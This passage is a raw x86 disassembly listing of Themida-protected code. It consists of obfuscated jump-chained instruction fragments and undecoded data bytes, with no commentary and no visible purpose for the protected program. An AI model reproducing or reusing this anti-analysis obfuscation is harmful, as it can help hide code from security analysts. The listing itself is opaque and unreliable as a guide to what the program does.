		dd 752Ch, 0EC83D301h, 24148904h, 6B2711BAh, 3E8BE97Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_557C8E:				; CODE XREF: Themida_:00554F66j
		push	esp
		pop	eax
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	eax, ecx
		push	dword ptr [esp]
		jmp	loc_55934F
; ---------------------------------------------------------------------------
		dw 0C709h
		dd 8124048Bh, 4C4h, 4EC78100h, 0E90A3144h, 0FFFFB74Eh
; ---------------------------------------------------------------------------

loc_557CC4:				; CODE XREF: Themida_:00560F48j
		pop	ebp
		add	edx, 7A6C0500h
		add	edx, ebx
		sub	edx, 7A6C0500h
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]
		shr	ecx, 6
		push	7031h
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	0D70h
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		push	edi
		mov	edi, 442337E3h
		jmp	loc_566B2A
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4, 0FFAEFFE9h, 604568FFh, 0C890000h,	89535524h, 4C381E3h
		dd 81000000h, 4EBh, 6FA6E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_557D2A:				; CODE XREF: Themida_:0055EED2j
		pop	esi
		jmp	loc_55F08F
; ---------------------------------------------------------------------------

loc_557D30:				; CODE XREF: Themida_:005668EAj
		mov	ecx, 0FFFFFFFFh
		sub	ebp, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 58523B94h
		dec	eax
		xchg	eax, edx
		jmp	loc_5630F5
; ---------------------------------------------------------------------------

loc_557D4A:				; CODE XREF: Themida_:0055F7A3j
		mov	ebx, 4
		mov	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_55AAAC
; ---------------------------------------------------------------------------
		dd 4240483h, 5724048Fh,	4BFh, 8C32E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_557D72:				; CODE XREF: Themida_:0055D268j
		sub	al, bh
		add	al, 0F8h
		pop	ebx
		jmp	loc_567585
; ---------------------------------------------------------------------------
		dd 8304C483h, 348904ECh, 815E5324h, 4ECh, 24048900h, 0BB53E089h
		dd 53B84782h, 4786BD55h, 0EB3153B8h, 26E52D5Dh,	0D8015418h
		dd 26E5B951h, 0D0E95418h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_557DB3:				; CODE XREF: Themida_:00560823j
		add	al, bl
		push	ebx
		mov	bl, 92h
		sub	al, bl
		jmp	loc_563BD0
; ---------------------------------------------------------------------------
		db 31h
		dd 0F850E9CEh, 33E90000h, 81FFFFAAh, 76049BF6h,	4EC81CAh
		dd 0E9000000h, 0FFFFB22Ch, 7A9568h, 240C8900h, 0FFAA15E9h
		dd 4FC381FFh, 294E0077h, 3FDE9FBh
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		jmp	loc_5595C2
; ---------------------------------------------------------------------------
		dd 4247C29h, 3054E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_557E0E:				; CODE XREF: Themida_:0055B147j
		sub	ecx, 0AA84E262h
		sub	edx, ecx
		pop	ecx
		add	edx, ebx
		add	edx, 5DFE49CEh
		jmp	loc_555376
; ---------------------------------------------------------------------------

loc_557E24:				; CODE XREF: Themida_:0056517Aj
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		mov	ebp, 5CBE59E4h
		jmp	loc_55E528
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 55000000h, 468h, 0EB015D00h,	241C875Dh, 0DFF0E95Ch
		dd 3166FFFFh, 0B4E9D6h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_557E6E:				; CODE XREF: Themida_:0055F59Cj
		push	esp
		pop	ebx
		push	ebp
		mov	ebp, 509E01C8h
		sub	ebp, 509E01C4h
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4
		jmp	loc_55E4AE
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24148900h, 0D8A25468h,	2434FF65h, 8B2434FFh, 0C4832414h
		dd 36AE6804h, 14890000h, 0D901E924h, 34FFFFFFh,	24048B24h
		dd 5244E950h, 565B0000h, 6109E9h, 0FFC20100h, 53582434h
		dd 0E951E389h, 0FFFFAB5Eh, 33240C31h, 248B240Ch, 240CD324h
		dd 0A91CE99Ch, 9568FFFFh, 8900007Fh, 74FF242Ch,	2C8B0424h
		dd 4C48324h, 0FFC4F4E9h, 603468FFh, 3AE90EEAh, 83000017h
		dd 6F0904C4h, 0C504E91Ch, 3059FFFFh, 1C8B66FAh,	4753E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_557F1A:				; CODE XREF: Themida_:0055B7F8j
		mov	[esp], edx
		jmp	loc_5585B9
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 0BB49E902h, 0BF57FFFFh, 1, 23AEA81h,	0FA2949DDh, 23AC281h
		dd 0EE949DDh
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557F43:				; CODE XREF: Themida_:00567BC0j
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		push	edx
		jmp	loc_562D14
; ---------------------------------------------------------------------------

loc_557F56:				; CODE XREF: Themida_:00562547j
		add	bl, cl
		add	bl, 6Ah
		sub	bl, 77h
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_553290
; ---------------------------------------------------------------------------

loc_557F6C:				; CODE XREF: Themida_:00564AFCj
		push	ecx
		mov	ecx, 718C1017h
		or	esi, ecx
		jmp	loc_566399
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 87000000h, 0E95C243Ch, 7E3Bh, 4C481h, 6BE90000h, 5AFFFFA8h
		dd 88D4F65Bh, 48B66E1h,	8999E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_557FA2:				; CODE XREF: Themida_:00564175j
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	735Ah
		mov	[esp], edi
		mov	ebp, [esp]
		add	esp, 4
		pop	edi
		xor	eax, ebp
		xor	ebp, eax
		jmp	loc_55DA6C
; ---------------------------------------------------------------------------
		dw 0CE29h
		dd 6ED6C681h, 0C8B48E6h, 4C48124h, 81000000h, 773F57EEh
		dd 0B6C68137h, 0E901D52Dh, 0FFFFEDAFh, 4C481h, 6C2D0000h
		dd 0E91B2322h, 8A59h, 688734FFh, 6175h,	0B8240489h, 515A292Bh
		dd 4244429h, 24048B58h,	4C481h,	0EC810000h, 4, 1814E9h
		dd 24248B00h, 240C8966h, 0FFA7D1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55802D:				; CODE XREF: Themida_:00558F78j
		xor	esi, [esp]
		xor	[esp], esi
		push	esi
		jmp	loc_554D16
; ---------------------------------------------------------------------------

loc_558039:				; CODE XREF: Themida_:0055A97Dj
		shl	ecx, 1
		add	ecx, 700720B2h
		dec	ecx
		add	ecx, 76AC6057h
		jmp	loc_55EC63
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 0D9h
		dd 0E9FAC380h, 380Fh
; ---------------------------------------------------------------------------

loc_558058:				; CODE XREF: Themida_:0055BAEFj
		movzx	eax, al
		push	ebx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebx
		push	2Eh
		jmp	loc_561B08
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 1016E9h, 0EE805800h,	0E9CE0057h, 0B703h, 8BC6215Bh
		dd 89562404h, 0B7E951E6h, 87000085h, 815C2434h,	6A656BF6h
		dd 6EEC124h, 0B982EE81h, 11E901B1h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5580AF:				; CODE XREF: Themida_:00564AAFj
		push	66B4h
		mov	[esp], ebp
		push	esi
		push	686B5097h
		pop	esi
		jmp	loc_56364D
; ---------------------------------------------------------------------------
		db 52h
		dd 8EB05066h, 5866C288h, 8E91CB1h
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5580D3:				; CODE XREF: Themida_:005636DDj
		pop	eax
		pop	edx
		sub	ecx, 7D297D29h
		jmp	loc_55CB31
; ---------------------------------------------------------------------------
aTyhg		db 'TYhG;',0
		dw 8900h
		dd 0C5682414h, 89000056h, 0AFE9241Ch
		db 0EFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5580F7:				; CODE XREF: Themida_:00567C01j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		and	eax, ebx
		jmp	loc_55B2E2
; ---------------------------------------------------------------------------
		dd 0AA268h, 24048900h, 14C4BB53h, 0F6B8273Bh, 51CE357h
		dd 6DC62CC9h, 0C92DD801h, 0E96DC62Ch, 7F1Bh, 1C8BF800h
		dd 4C48324h, 4EC81h, 14890000h,	0ED38E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55814A:				; CODE XREF: Themida_:0055EA6Cj
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_558C9C
; ---------------------------------------------------------------------------
		db 68h,	69h, 0BCh
		dd 1FE91580h, 5FFFFFDCh, 555BDE29h, 254545BDh, 3D88E92Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55816E:				; CODE XREF: Themida_:00567BA3j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_553053
; ---------------------------------------------------------------------------

loc_558186:				; CODE XREF: Themida_:00556E4Ej
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp

loc_55818F:				; CODE XREF: Themida_:0055DB75j
		push	esi
		push	esp
		jmp	loc_55A6EB
; ---------------------------------------------------------------------------

loc_558196:				; CODE XREF: Themida_:0055A3EDj
		sub	edi, ebp
		pop	ebp
		push	ebp
		mov	ebp, 29780347h
		sub	edi, ebp
		jmp	loc_560851
; ---------------------------------------------------------------------------
		dw 0C729h
		dd 0A0EF8158h, 0E9FE5738h, 5301h
; ---------------------------------------------------------------------------

loc_5581B4:				; CODE XREF: Themida_:005677B0j
		mov	ebp, [esp]
		jmp	loc_555DDE
; ---------------------------------------------------------------------------
		dd 5E08950h, 4,	405h, 24048700h, 0CB66E9h, 0C1814100h
		dd 28CB10BAh, 0FFEFB9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5581DD:				; CODE XREF: Themida_:005673A5j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_5552BC
; ---------------------------------------------------------------------------
aBiow		db 'ëOw',0
		dd 2434FF4Eh, 4C4815Fh,	29000000h, 21B951C3h, 816A0078h
		dd 777707F1h, 28C38142h, 0E96F1047h, 0FFFFEFC8h, 8904EC83h
		dd 9CBF243Ch, 31431C3Dh, 0ED815FFBh, 53C019DAh,	24C0C581h
		dd 0DD291BDAh, 4D48B951h, 0D1F711BEh, 41D5E9h
		db 0
; ---------------------------------------------------------------------------

loc_558245:				; CODE XREF: Themida_:00566740j
		add	edi, 0FFFFFFFFh
		sub	edi, 3930D509h
		sub	eax, edi
		pop	edi
		pop	ecx
		jmp	loc_55E3E6
; ---------------------------------------------------------------------------
		dw 0C31h
		dd 240C3324h, 47DFE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_558266:				; CODE XREF: Themida_:00556434j
		pop	edx
		xor	esi, 333A034Ah
		xor	esi, 58861222h
		add	eax, esi
		pop	esi
		jmp	loc_5598A9
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 4C38100h, 0E9000000h, 0FFFFE3F0h
; ---------------------------------------------------------------------------

loc_55828C:				; CODE XREF: Themida_:0055B176j
		add	ebx, edi
		add	ebx, 57075B12h
		sub	ebx, 744923F3h
		add	[ebx], edx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		jmp	loc_55CA29
; ---------------------------------------------------------------------------
		db 5Ch
		dd 8DEEC80h, 2434FFE1h,	8324048Bh, 0C48104C4h, 4, 1D3D68h
		dd 241C8900h, 38E9F7B7h, 0BE0000E4h, 1A2F7B78h,	26DC681h
		dd 0AE90B8Ah
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5582EB:				; CODE XREF: Themida_:0055D700j
		mov	eax, [esp]
		add	esp, 4
		sub	ebp, eax
		pop	eax
		push	ebp
		jmp	loc_553C14
; ---------------------------------------------------------------------------

loc_5582FA:				; CODE XREF: Themida_:0055ED80j
		xor	ebp, ecx
		pop	ecx
		jmp	loc_56300F
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 58669D1Ch, 24041166h, 0A4ECE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558312:				; CODE XREF: Themida_:00555D48j
		add	[esp+8], ecx
		sub	dword ptr [esp+8], 3A4C7FA3h
		jmp	loc_55B9F1
; ---------------------------------------------------------------------------
		db 81h
		dd 0F7B34BC7h, 5FFE89B0h, 835EF301h, 1DE904ECh
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_558337:				; CODE XREF: Themida_:00553721j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	435Eh
		mov	[esp], edx
		jmp	loc_55A4E9
; ---------------------------------------------------------------------------

loc_55834B:				; CODE XREF: Themida_:00566A54j
		mov	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	[esp+4], eax
		jmp	loc_556B0D
; ---------------------------------------------------------------------------
		db 89h,	0F8h, 0E9h
		dd 6796h, 24348B54h, 81E38953h,	4C3h, 0B8685100h, 5938BB2Dh
		dd 4DE2E9h
		db 0
; ---------------------------------------------------------------------------

loc_55837D:				; CODE XREF: Themida_:00554AC4j
		sub	esp, 4
		jmp	loc_563AB0
; ---------------------------------------------------------------------------
		db 68h,	29h, 74h
		dd 1C890000h, 0D80CE924h, 2C890000h, 0AABB5324h, 8975E909h
		dd 0CD315BDDh, 0CD31E931h, 6855D1F7h, 4860h, 8B240C89h
		dd 0C481242Ch, 4, 47F5E959h, 3BE90000h,	28FFFFA4h, 0E7B252D7h
		dd 5A5AD728h, 805BFA30h, 0D40412EAh, 0D000CF2Ch, 6AFAE9h
		dd 1E95400h
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5583E3:				; CODE XREF: Themida_:0055D448j
		mov	ebp, 60F9712Bh
		add	ebp, 5C2114ABh
		xor	eax, ebp
		pop	ebp
		sub	[edx+30h], eax
		mov	eax, [esp]
		push	edx
		jmp	loc_55F300
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 57242C89h, 8C5C57BFh, 0C7A4BD2Ah, 0FD293BAAh, 49ED815Fh
		dd 1111E6Bh, 0C6815DEEh, 4, 5C243487h, 8904EC83h, 0BE56242Ch
		dd 194454CAh, 0EEC14646h, 5B80E902h, 34FF0000h,	240C8B24h
		dd 0D6ABE951h, 87580000h, 315C2434h, 0BCD9E9C3h, 0BB53FFFFh
		dd 40EE0415h, 515BD929h, 0E7301EB9h, 5909E963h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_558466:				; CODE XREF: Themida_:00563BF4j
		and	ebx, 41A543Eh
		inc	ebx
		inc	ebx
		push	ebp
		mov	ebp, 44A244BEh
		add	ebp, 94F72F9h
		neg	ebp
		jmp	loc_55E2BA
; ---------------------------------------------------------------------------

loc_558481:				; CODE XREF: Themida_:005647E8j
		mov	esi, [esp]
		add	esp, 4
		sub	edi, 0C0D7A43Bh
		sub	eax, edi
		jmp	loc_554187
; ---------------------------------------------------------------------------
		dd 5704C483h, 93390EBFh, 26BE5679h, 90ED01Bh, 0BA525EF7h
		dd 13036B12h, 0DB04E9h,	0C4815900h, 4, 2BA968h,	240C8900h
		dd 4EC81h, 2C890000h, 609BBD24h, 6E68718Ch, 0FF9326E7h
		dd 83592434h, 266804C4h, 89000075h, 0FBBA2414h,	0C11AD87Eh
		dd 0F28108EAh, 6F70D570h, 0E95AD101h, 0BD48h, 5004C483h
		dd 0B268ADB8h, 0DBE98135h, 8114C36Eh, 6F094AC1h, 81C1010Ah
		dd 6F094AE9h, 0DBC1810Ah, 5814C36Eh, 0E981F101h, 35B268ADh
		dd 50D3E9h
		db 0
; ---------------------------------------------------------------------------

loc_558529:				; CODE XREF: Themida_:00552B80j
		xor	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5567E6
; ---------------------------------------------------------------------------
		dw 515Dh
		dd 5172BE56h, 0ACB96661h, 29E2026Ah, 31E95EF1h,	5D000001h
		dd 4C481h, 0D6F70000h, 0E724E9h, 0F7295D00h, 5FFA895Eh
		dd 95E9D631h
		db 0CCh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_558567:				; CODE XREF: Themida_:00563FB9j
		push	small 0D82h
		mov	[esp], cx
		push	edx
		mov	dh, 2Eh
		and	dh, 0A6h
		add	dh, 0FFh
		inc	dh
		sub	dh, 0EDh
		push	bx
		mov	bh, 46h
		add	dh, bh
		jmp	loc_5632C7
; ---------------------------------------------------------------------------
		dd 0AE7206BBh, 0E0C2811Ch, 292C3014h, 5F77E9DAh, 57590000h
		dd 0C781E789h, 4, 8704C783h, 305C243Ch,	0EC815AF0h, 2
		dd 0FFA847E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5585B9:				; CODE XREF: Themida_:00557F1Dj
		push	449Eh
		jmp	loc_559C85
; ---------------------------------------------------------------------------

loc_5585C3:				; CODE XREF: Themida_:0055F076j
		mov	esp, [esp]
		push	ecx
		push	5177h
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_567BE8
; ---------------------------------------------------------------------------
		dd 8108EDC1h, 3242E2E5h, 8EED811Fh, 0E98A81EEh,	0CD67h
		dd 7B0BBB53h, 0DB2D3229h, 29383828h, 28DB05D8h,	1C8B3838h
		dd 1EE8E924h, 0E3800000h, 3E3C049h, 3CD6E950h, 81450000h
		dd 3F5851CDh, 0AFED815Fh, 0E96A253Ah, 0FFFFDC33h, 5B2434FFh
		dd 5E08950h, 4,	8704C083h, 835C2404h, 348904ECh, 3311E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55865A:				; CODE XREF: Themida_:00555A61j
		add	[esp+4], eax
		jmp	loc_55B0EE
; ---------------------------------------------------------------------------

loc_558663:				; CODE XREF: Themida_:005547C2j
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_562E22
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 0E9240431h, 3408h, 8244C29h,	0CC6FE9h, 0DA015F00h, 59B7C281h
		dd 0C2812C9Dh, 1AA45B89h, 5B5A2A88h, 9E74E9h, 0EE895E00h
		dd 51CFE9h
		db 0
; ---------------------------------------------------------------------------

loc_5586A5:				; CODE XREF: Themida_:00556B10j
		add	esp, 4
		jmp	loc_561743
; ---------------------------------------------------------------------------
		db 5Bh,	87h, 4
		dd 24248B24h, 8157E9F7h, 4ECh, 24248900h, 7826E956h, 0EC830000h
		dd 24048904h, 656592B8h, 8E8C110h, 0FD668h, 243C8900h
		dd 3898E9h, 0E9595400h,	7D58h, 7D07E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5586EE:				; CODE XREF: Themida_:0055A6FAj
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	7B3Fh
		mov	[esp], ebx
		jmp	loc_564A67
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 3Ch
		dd 236DBF24h, 0D0E91741h
		db 85h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_558713:				; CODE XREF: Themida_:00560B6Bj
		push	ebx
		jmp	loc_565AC7
; ---------------------------------------------------------------------------

loc_558719:				; CODE XREF: Themida_:00560662j
		push	esi
		mov	esi, 225A73FDh
		inc	esi
		jmp	loc_56384C
; ---------------------------------------------------------------------------
		db 0F6h, 0D6h, 0C0h
		dd 0F68006E6h, 5AF000D0h, 102CD800h, 5B2434FFh,	404C483h
		dd 51665B54h, 8827B353h, 0F3B8E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55874A:				; CODE XREF: Themida_:00562093j
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_563261
; ---------------------------------------------------------------------------
		db 51h,	0B5h, 0DEh
		dd 0C006EDC0h, 0D5F602E5h, 0C0AAED80h, 0F58008E5h, 66C5B276h
		dd 0D6E95250h, 0FFFFFFC8h, 0E9582434h, 0ED0Dh, 0B2241489h
		dd 46C0449h, 2CD0003Dh,	8B6C2C3Dh, 0C4812414h, 4, 24148B66h
		dd 0E9E28952h, 8AABh
; ---------------------------------------------------------------------------

loc_5587A0:				; CODE XREF: Themida_:00564C86j
		mov	edx, 4
		jmp	loc_5620E4
; ---------------------------------------------------------------------------
		dw 6852h
		dd 17F17F3Bh, 0C968425Ah, 0E900002Ch, 0FFFFEFECh, 2047B951h
		dd 9FB84BC4h, 1F54649h,	240C8BC8h, 81E28952h, 4C2h, 4C28100h
		dd 87000000h, 0E95C2414h, 0A538h, 4C281h, 0C2830000h, 24148704h
		dd 4B9515Ch, 1000000h, 240C8BCFh, 8104C483h, 4ECh, 24048900h
		dd 4B8h, 58C70100h, 6054E9h, 68E78900h,	34B0h, 0D1B1E9h
		dd 0E9FA3100h, 0B54Ah, 72427725h, 0BDBC050Ah, 0C28147AAh
		dd 63F166D8h, 0FFD0CCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55883D:				; CODE XREF: Themida_:0055C7CCj
		push	1046595Eh
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, 0DF11FB3h
		jmp	loc_55442E
; ---------------------------------------------------------------------------
		db 5Fh
		dd 4EC81h, 4890000h, 5137B824h,	60E903D9h, 0B3FFFFBEh
		dd 3EBC076h, 28DBE9h, 9F88E900h, 0F181FFFFh, 0E4EAF5A7h
		dd 0E959CB01h, 1E2Dh, 34184ABAh, 87C2810Fh, 0F70A8223h
		dd 0D6C281D2h, 8919B63Bh, 0EA015AD5h, 0FFAE18E9h, 4C481FFh
		dd 68000000h, 194Bh, 0BB241C89h, 16E61970h, 0B118E9h, 4C48100h
		dd 83000000h, 2C8904ECh, 1F67BD24h, 30E99D14h, 0BA0000DBh
		dd 7DB46E55h, 5E706853h, 0F75B317Fh, 5E3C1D3h, 0FFE7EDE9h
		dd 0D8285AFFh, 30E9FC2Ch
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5588EF:				; CODE XREF: Themida_:0055E2DAj
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 3E2A6C8Fh
		push	ecx
		mov	ecx, 2E1D2A0Ah
		or	ecx, 7F1B6DF3h
		add	ecx, 0BF0AFC90h
		sub	ebx, ecx
		pop	ecx
		add	ebp, ebx
		jmp	loc_564719
; ---------------------------------------------------------------------------
		db 0BEh
		dd 1F942740h, 243CF681h, 814E4367h, 643B25F6h, 5EF30148h
		dd 0FFC89EE9h, 8BF789FFh, 0C4812434h, 4, 0ABA0E947h, 0BB53FFFFh
		dd 39E9233Bh, 0F168E9h,	24048B00h, 8104C483h, 4C3h, 241C8700h
		dd 0FFBA6EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558961:				; CODE XREF: Themida_:005676BBj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_56234E
; ---------------------------------------------------------------------------

loc_55896D:				; CODE XREF: Themida_:00557C09j
		push	553h
		mov	[esp], edx
		mov	dl, 20h
		mov	ch, dl
		pop	edx
		push	ecx
		inc	byte ptr [esp+1]
		pop	ecx
		inc	ch
		xchg	ah, ch
		inc	ah
		xchg	ah, ch
		add	ch, 6Dh
		sub	dh, ch
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_55FCE3
; ---------------------------------------------------------------------------

loc_5589A6:				; CODE XREF: Themida_:0055E523j
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		jmp	loc_55A9E8
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 2AC9BE56h, 73BD01D4h, 31DE23EDh, 0E9295EF5h,	0E9CE015Dh
		dd 0D9Fh, 88CF8853h, 241C8BFAh,	4C481h,	0C8B0000h, 4C48324h
		dd 148BD588h, 0E0895024h, 0A2DBE9h
		db 0
; ---------------------------------------------------------------------------

loc_5589ED:				; CODE XREF: Themida_:0055E9D4j
		sub	bl, al
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 0AAh
		push	3006h
		jmp	loc_562D5B
; ---------------------------------------------------------------------------
aSH		db ']éÜh',0
		align 2

loc_558A0A:				; CODE XREF: Themida_:0055BE1Cj
		push	dword ptr [esp]
		jmp	loc_56340D
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 307473C2h, 0EE81EE01h, 307473C2h, 0A7C5E95Dh, 2C870000h
		dd 47E95C24h, 8BFFFFA7h, 0B6E92424h, 8100008Eh,	0CF725FEBh
		dd 0DECFE964h, 6850FFFFh, 17BF6A0Ah, 0DDBA5258h, 8164137Dh
		dd 6229D8CAh, 6EA8115h,	21439154h, 0D12D5AD0h, 89CB10DBh
		dd 0DA2958C3h, 9041E95Bh, 0BF0000h, 89000000h, 0C3015FFBh
		dd 0BA52h, 0EA810000h, 1AA45B89h, 2EC6BF57h, 0D7F731B5h
		dd 0FFE9A4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558A91:				; CODE XREF: Themida_:00560D78j
		push	dword ptr [eax]
		jmp	loc_5527FE
; ---------------------------------------------------------------------------
		dd 2C58F505h, 0D40E904h, 0DF890000h, 0DFC2E95Bh, 48F0000h
		dd 4BB5324h, 1000000h, 8B04245Ch, 0EC83241Ch, 24348904h
		dd 0C681E689h, 4, 649E9h, 8652D00h, 940509E3h, 0E9789840h
		dd 32FFh, 0DBF7D3F7h, 50D6E9h
		db 0
; ---------------------------------------------------------------------------

loc_558AE5:				; CODE XREF: Themida_:0055C13Dj
		sub	edi, 0D246DEC9h
		or	ebx, edi
		pop	edi
		inc	ebx
		xchg	edi, ebx
		jmp	loc_557287
; ---------------------------------------------------------------------------
		dw 0FB31h
		dd 5BDA015Fh, 0FFB432E9h, 0D830ACFFh, 510B68h, 240C8900h
		dd 0CD12E955h, 0C381FFFFh, 2, 8B241C87h, 24D22424h, 8FE99C24h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_558B27:				; CODE XREF: Themida_:00552B36j
		not	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 1
		jmp	loc_562446
; ---------------------------------------------------------------------------
		dd 51F80059h, 0D5DBE952h, 4890000h, 0C88EE924h,	0E2890000h
		dd 2DA7E9h, 48B6600h, 0A394E924h, 0C781FFFFh, 47251377h
		dd 6444EF81h, 0C7817228h, 32380E04h, 3115EA81h,	0FA295D64h
		dd 3115C281h, 2E95D64h,	68FFFFFBh, 2, 0FFD29EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558B8D:				; CODE XREF: Themida_:0056417Dj
		pop	edx
		jmp	loc_5539C0
; ---------------------------------------------------------------------------
		db 0BAh
		dd 64794EE6h, 5260E281h, 0F281429Ch, 2CA01461h,	8791E9h
		dd 9C50E900h, 2868FFFFh, 89000001h, 0F4E9241Ch,	81000041h
		dd 0E53F98F6h, 5EF72901h, 15FFB89h, 5C19E9DAh, 0AFBA0000h
		dd 0E90F6C2Bh, 2099h
; ---------------------------------------------------------------------------

loc_558BD8:				; CODE XREF: Themida_:0055FC0Fj
		pop	edi
		sub	ebx, 0FFFFFFFFh
		jmp	loc_560DDD
; ---------------------------------------------------------------------------
		dd 4C562E35h, 58C7297Dh, 0FFCBC5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558BF1:				; CODE XREF: Themida_:0056004Aj
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		push	ebp
		mov	ebp, 4
		sub	edi, ebp
		pop	ebp
		push	edi
		jmp	loc_55CA3C
; ---------------------------------------------------------------------------
		dd 0A86402BAh, 5AD5096Ch, 2414F755h, 0D3F1E9h
		db 0
; ---------------------------------------------------------------------------

loc_558C1D:				; CODE XREF: Themida_:00561352j
		add	al, bl
		jmp	loc_561BD4
; ---------------------------------------------------------------------------
		dd 4EC8158h, 89000000h,	1EB62414h, 0F6EEC680h, 6DE680D6h
		dd 0C680DEF6h, 0EF4BE9BEh, 0F281FFFFh, 6EF7BBD1h, 815AD789h
		dd 1A1F18EBh, 0E9FB015Fh, 901Ch, 3B24248Bh, 9BE99CC8h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558C63:				; CODE XREF: Themida_:0055965Dj
		add	edx, eax
		pop	eax
		jmp	loc_555FA8
; ---------------------------------------------------------------------------

loc_558C6B:				; CODE XREF: Themida_:0056745Cj
		push	ebp
		mov	ebp, 58F83511h
		not	ebp
		shr	ebp, 2
		jmp	loc_560F11
; ---------------------------------------------------------------------------

loc_558C7B:				; CODE XREF: Themida_:00555247j
		mov	eax, [esp]
		jmp	loc_561303
; ---------------------------------------------------------------------------
